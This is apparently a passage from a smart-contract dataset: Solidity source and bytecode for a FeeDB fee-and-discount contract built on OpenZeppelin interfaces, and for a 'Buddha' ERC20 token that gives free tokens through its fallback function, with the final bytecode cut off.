OwnershipTransferred(oldOwner, newOwner); } } // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface IFeeDB { event UpdateFeeAndRecipient(uint256 newFee, address newRecipient); event UpdatePaysFeeWhenSending(bool newType); event UpdateNFTDiscountRate(address nft, uint256 discountRate); event UpdateUserDiscountRate(address user, uint256 discountRate); function protocolFee() external view returns (uint256); function protocolFeeRecipient() external view returns (address); function paysFeeWhenSending() external view returns (bool); function userDiscountRate(address user) external view returns (uint256); function nftDiscountRate(address nft) external view returns (uint256); function getFeeDataForSend(address user, bytes calldata data) external view returns ( bool _paysFeeWhenSending, address _recipient, uint256 _protocolFee, uint256 _discountRate ); function getFeeDataForReceive(address user, bytes calldata data) external view returns (address _recipient, uint256 _discountRate); } contract FeeDB is Ownable, IFeeDB { uint256 public protocolFee; //out of 10000 address public protocolFeeRecipient; bool public paysFeeWhenSending; mapping(address => uint256) public userDiscountRate; //out of 10000 mapping(address => uint256) public nftDiscountRate; constructor( uint256 _protocolFee, address _protocolFeeRecipient, bool _paysFeeWhenSending ) { require(_protocolFee < 100, "max fee is 99"); //max 0.99% protocolFee = _protocolFee; protocolFeeRecipient = _protocolFeeRecipient; paysFeeWhenSending = _paysFeeWhenSending; emit UpdateFeeAndRecipient(_protocolFee, _protocolFeeRecipient); emit UpdatePaysFeeWhenSending(_paysFeeWhenSending); } function updateNFTDiscountRate( address[] calldata nfts, uint256[] calldata discountRates ) external onlyOwner { uint256 length = nfts.length; require(length == discountRates.length, "length is not equal"); for (uint256 i = 0; i < length; i++) { require(discountRates[i] <= 10000, "max discount is 10000"); nftDiscountRate[nfts[i]] = discountRates[i]; emit UpdateNFTDiscountRate(nfts[i], discountRates[i]); } } function updateFeeAndRecipient(uint256 newFee, address newRecipient) external onlyOwner { require(newFee < 100, "max fee is 99"); protocolFee = newFee; protocolFeeRecipient = newRecipient; emit UpdateFeeAndRecipient(newFee, newRecipient); } function togglePaysFeeWhenSending() external onlyOwner { bool old = paysFeeWhenSending; paysFeeWhenSending = !old; emit UpdatePaysFeeWhenSending(!old); } function updateUserDiscountRate(address[] calldata users, uint256[] calldata discountRates) external onlyOwner { require(users.length == discountRates.length, "length is not equal"); for (uint256 i = 0; i < users.length; i++) { require(discountRates[i] <= 10000, "max discount is 10000"); userDiscountRate[users[i]] = discountRates[i]; emit UpdateUserDiscountRate(users[i], discountRates[i]); } } function getFeeDataForSend(address user, bytes calldata data) external view returns ( bool _paysFeeWhenSending, address _recipient, uint256 _protocolFee, uint256 _discountRate ) { _paysFeeWhenSending = paysFeeWhenSending; if (_paysFeeWhenSending) { _recipient = protocolFeeRecipient; if (_recipient == address(0)) return (_paysFeeWhenSending, address(0), 0, 0); } _protocolFee = protocolFee; uint256 _userDiscountRate = userDiscountRate[user]; uint256 _nftDiscountRate = _getNFTDiscountRate(user, data); _discountRate = _userDiscountRate > _nftDiscountRate ? _userDiscountRate : _nftDiscountRate; } function getFeeDataForReceive(address user, bytes calldata data) external view returns (address _recipient, uint256 _discountRate) { _recipient = protocolFeeRecipient; if (_recipient != address(0)) { uint256 _userDiscountRate = userDiscountRate[user]; uint256 _nftDiscountRate = _getNFTDiscountRate(user, data); _discountRate = _userDiscountRate > _nftDiscountRate ? _userDiscountRate : _nftDiscountRate; } } function _getNFTDiscountRate(address user, bytes calldata data) private view returns (uint256 _nftDiscountRate) { if (data.length > 0) { address nft = abi.decode(data, (address)); if (nft != address(0)) { _nftDiscountRate = nftDiscountRate[nft]; if(_nftDiscountRate == 0) return 0; require(IERC721(nft).balanceOf(user) > 0, "not nft holder"); } } } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80638bb81b881161008c578063b0e21e8a11610066578063b0e21e8a14610236578063e526cd871461023f578063f2fde38b14610252578063fdb25a3c1461026557600080fd5b80638bb81b88146101d35780638da5cb5b146101f3578063aec461831461020457600080fd5b806354b72eda116100c857806354b72eda1461017457806364df049e1461017c578063715018a6146101a757806385acea06146101af57600080fd5b80630f21b64d146100ef5780633f7d3421146101225780635119e3621461015f575b600080fd5b61010f6100fd366004610a92565b60046020526000908152604090205481565b6040519081526020015b60405180910390f35b610135610130366004610aaf565b610278565b6040805194151585526001600160a01b039093166020850152918301526060820152608001610119565b61017261016d366004610b80565b6102f9565b005b6101726104d8565b60025461018f906001600160a01b031681565b6040516001600160a01b039091168152602001610119565b61017261055c565b6002546101c390600160a01b900460ff1681565b6040519015158152602001610119565b61010f6101e1366004610a92565b60036020526000908152604090205481565b6000546001600160a01b031661018f565b610217610212366004610aaf565b610592565b604080516001600160a01b039093168352602083019190915201610119565b61010f60015481565b61017261024d366004610b80565b6105e9565b610172610260366004610a92565b6107c1565b610172610273366004610bec565b61085c565b600254600160a01b900460ff166000808083156102b0576002546001600160a01b03169250826102b0575060009150819050806102f0565b6001546001600160a01b0388166000908152600360205260408120549193506102da898989610927565b90508082116102e957806102eb565b815b925050505b93509350935093565b6000546001600160a01b0316331461032c5760405162461bcd60e51b815260040161032390610c1c565b60405180910390fd5b8281146103715760405162461bcd60e51b81526020600482015260136024820152721b195b99dd1a081a5cc81b9bdd08195c5d585b606a1b6044820152606401610323565b60005b838110156104d15761271083838381811061039157610391610c51565b9050602002013511156103de5760405162461bcd60e51b815260206004820152601560248201527406d617820646973636f756e7420697320313030303605c1b6044820152606401610323565b8282828181106103f0576103f0610c51565b905060200201356003600087878581811061040d5761040d610c51565b90506020020160208101906104229190610a92565b6001600160a01b031681526020810191909152604001600020557f66f5c8ba307e94099f62c5c4b7f1bc66f6cb55639cf8fec49fd379917c70a3bf85858381811061046f5761046f610c51565b90506020020160208101906104849190610a92565b84848481811061049657610496610c51565b604080516001600160a01b0390951685526020918202939093013590840152500160405180910390a1806104c981610c67565b915050610374565b5050505050565b6000546001600160a01b031633146105025760405162461bcd60e51b815260040161032390610c1c565b6002805460ff60a01b198116600160a01b9182900460ff168015928302919091179092556040519081527f59e8988eb3002ff52d35f187b02a41527f298c862a25db459310d1cdc344ce099060200160405180910390a150565b6000546001600160a01b031633146105865760405162461bcd60e51b815260040161032390610c1c565b6105906000610a2d565b565b6002546001600160a01b0316600081156105e1576001600160a01b038516600090815260036020526040812054906105cb878787610927565b90508082116105da57806105dc565b815b925050505b935093915050565b6000546001600160a01b031633146106135760405162461bcd60e51b815260040161032390610c1c565b828181146106595760405162461bcd60e51b81526020600482015260136024820152721b195b99dd1a081a5cc81b9bdd08195c5d585b606a1b6044820152606401610323565b60005b818110156107b95761271084848381811061067957610679610c51565b9050602002013511156106c65760405162461bcd60e51b815260206004820152601560248201527406d617820646973636f756e7420697320313030303605c1b6044820152606401610323565b8383828181106106d8576106d8610c51565b90506020020135600460008888858181106106f5576106f5610c51565b905060200201602081019061070a9190610a92565b6001600160a01b031681526020810191909152604001600020557f3672f901be24eef0014cc2fd7e20b0f28112f9acd4083e8bf6bbe9e263ef829386868381811061075757610757610c51565b905060200201602081019061076c9190610a92565b85858481811061077e5761077e610c51565b604080516001600160a01b0390951685526020918202939093013590840152500160405180910390a1806107b181610c67565b91505061065c565b505050505050565b6000546001600160a01b031633146107eb5760405162461bcd60e51b815260040161032390610c1c565b6001600160a01b0381166108505760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610323565b61085981610a2d565b50565b6000546001600160a01b031633146108865760405162461bcd60e51b815260040161032390610c1c565b606482106108c65760405162461bcd60e51b815260206004820152600d60248201526c6d61782066656520697320393960981b6044820152606401610323565b6001829055600280546001600160a01b0319166001600160a01b0383169081179091556040805184815260208101929092527fe8cacb7f13fe3f08cbe7dfb1e7101162c3624a3c122fdd2bbd57bced5e201f36910160405180910390a15050565b60008115610a2657600061093d83850185610a92565b90506001600160a01b03811615610a24576001600160a01b038116600090815260046020526040902054915081610978576000915050610a26565b6040516370a0823160e01b81526001600160a01b038681166004830152600091908316906370a0823190602401602060405180830381865afa1580156109c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e69190610c90565b11610a245760405162461bcd60e51b815260206004820152600e60248201526d3737ba1037333a103437b63232b960911b6044820152606401610323565b505b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461085957600080fd5b600060208284031215610aa457600080fd5b8135610a2681610a7d565b600080600060408486031215610ac457600080fd5b8335610acf81610a7d565b9250602084013567ffffffffffffffff80821115610aec57600080fd5b818601915086601f830112610b0057600080fd5b813581811115610b0f57600080fd5b876020828501011115610b2157600080fd5b6020830194508093505050509250925092565b60008083601f840112610b4657600080fd5b50813567ffffffffffffffff811115610b5e57600080fd5b6020830191508360208260051b8501011115610b7957600080fd5b9250929050565b60008060008060408587031215610b9657600080fd5b843567ffffffffffffffff80821115610bae57600080fd5b610bba88838901610b34565b90965094506020870135915080821115610bd357600080fd5b50610be087828801610b34565b95989497509550505050565b60008060408385031215610bff57600080fd5b823591506020830135610c1181610a7d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415610c8957634e487b7160e01b600052601160045260246000fd5b5060010190565b600060208284031215610ca257600080fd5b505191905056fea2646970667358221220d9cd7ed192200a1564a34823e416e1cad0457f8dfbf6b7c7ba53cbfce704975764736f6c634300080c0033
{"success": true, "error": null, "results": {}}
10,076
0xe5e7ef2e24dd1f51a40bb7962dd604f1f29c32dc
pragma solidity ^0.4.21; // File: contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } // File: contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Buddha is StandardToken, Ownable { // Constants string public constant name = "Buddha"; string public constant symbol = "BDDA"; uint8 public constant decimals = 8; uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(decimals)); uint256 public constant FREE_SUPPLY = 50000000 * (10 ** uint256(decimals)); uint256 public nextFreeCount = 2000 * (10 ** uint256(decimals)) ; uint256 public constant decr = 0 * (10 ** 1) ; mapping(address => bool) touched; function Buddha() public { totalSupply_ = INITIAL_SUPPLY; balances[address(this)] = FREE_SUPPLY; emit Transfer(0x0, address(this), FREE_SUPPLY); balances[msg.sender] = INITIAL_SUPPLY - FREE_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY - FREE_SUPPLY); } function _transfer(address _from, address _to, uint _value) internal { require (balances[_from] >= _value); // Check if the sender has enough require (balances[_to] + _value > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); } function () external payable { if (!touched[msg.sender] ) { touched[msg.sender] = true; _transfer(address(this), msg.sender, nextFreeCount ); nextFreeCount = nextFreeCount - decr; } } function safeWithdrawal(uint _value ) onlyOwner public { if (_value == 0) owner.transfer(address(this).balance); else owner.transfer(_value); } }
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101ce578063095ea7b31461025c57806318160ddd146102b657806323b872dd146102df5780632ff2e9dc14610358578063313ce567146103815780635f56b6fe146103b057806366188463146103d357806370a082311461042d578063715018a61461047a5780638da5cb5b1461048f57806395d89b41146104e45780639858cf1914610572578063a9059cbb1461059b578063c1d9e273146105f5578063d73dd6231461061e578063d9f2ac8a14610678578063dd62ed3e146106a1578063f2fde38b1461070d575b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156101cc576001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506101bf3033600454610746565b6000600454036004819055505b005b34156101d957600080fd5b6101e16109af565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610221578082015181840152602081019050610206565b50505050905090810190601f16801561024e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561026757600080fd5b61029c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109e8565b604051808215151515815260200191505060405180910390f35b34156102c157600080fd5b6102c9610ada565b6040518082815260200191505060405180910390f35b34156102ea57600080fd5b61033e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ae4565b604051808215151515815260200191505060405180910390f35b341561036357600080fd5b61036b610e9e565b6040518082815260200191505060405180910390f35b341561038c57600080fd5b610394610eaf565b604051808260ff1660ff16815260200191505060405180910390f35b34156103bb57600080fd5b6103d16004808035906020019091905050610eb4565b005b34156103de57600080fd5b610413600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ffd565b604051808215151515815260200191505060405180910390f35b341561043857600080fd5b610464600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061128e565b6040518082815260200191505060405180910390f35b341561048557600080fd5b61048d6112d6565b005b341561049a57600080fd5b6104a26113db565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104ef57600080fd5b6104f7611401565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053757808201518184015260208101905061051c565b50505050905090810190601f1680156105645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561057d57600080fd5b61058561143a565b6040518082815260200191505060405180910390f35b34156105a657600080fd5b6105db600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061144b565b604051808215151515815260200191505060405180910390f35b341561060057600080fd5b61060861166a565b6040518082815260200191505060405180910390f35b341561062957600080fd5b61065e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611670565b604051808215151515815260200191505060405180910390f35b341561068357600080fd5b61068b61186c565b6040518082815260200191505060405180910390f35b34156106ac57600080fd5b6106f7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611871565b6040518082815260200191505060405180910390f35b341561071857600080fd5b610744600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118f8565b005b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561079357600080fd5b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561081f57600080fd5b610870816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610903816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6040805190810160405280600681526020017f427564646861000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b2157600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b6e57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610bf957600080fd5b610c4a826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cdd826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dae82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600860ff16600a0a6305f5e1000281565b600881565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1057600080fd5b6000811415610f9757600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610f9257600080fd5b610ffa565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610ff957600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561110e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111a2565b6111218382611a5090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133257600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f424444410000000000000000000000000000000000000000000000000000000081525081565b600860ff16600a0a6302faf0800281565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561148857600080fd5b6000803373fffffffffffffffffffffffffffffffffff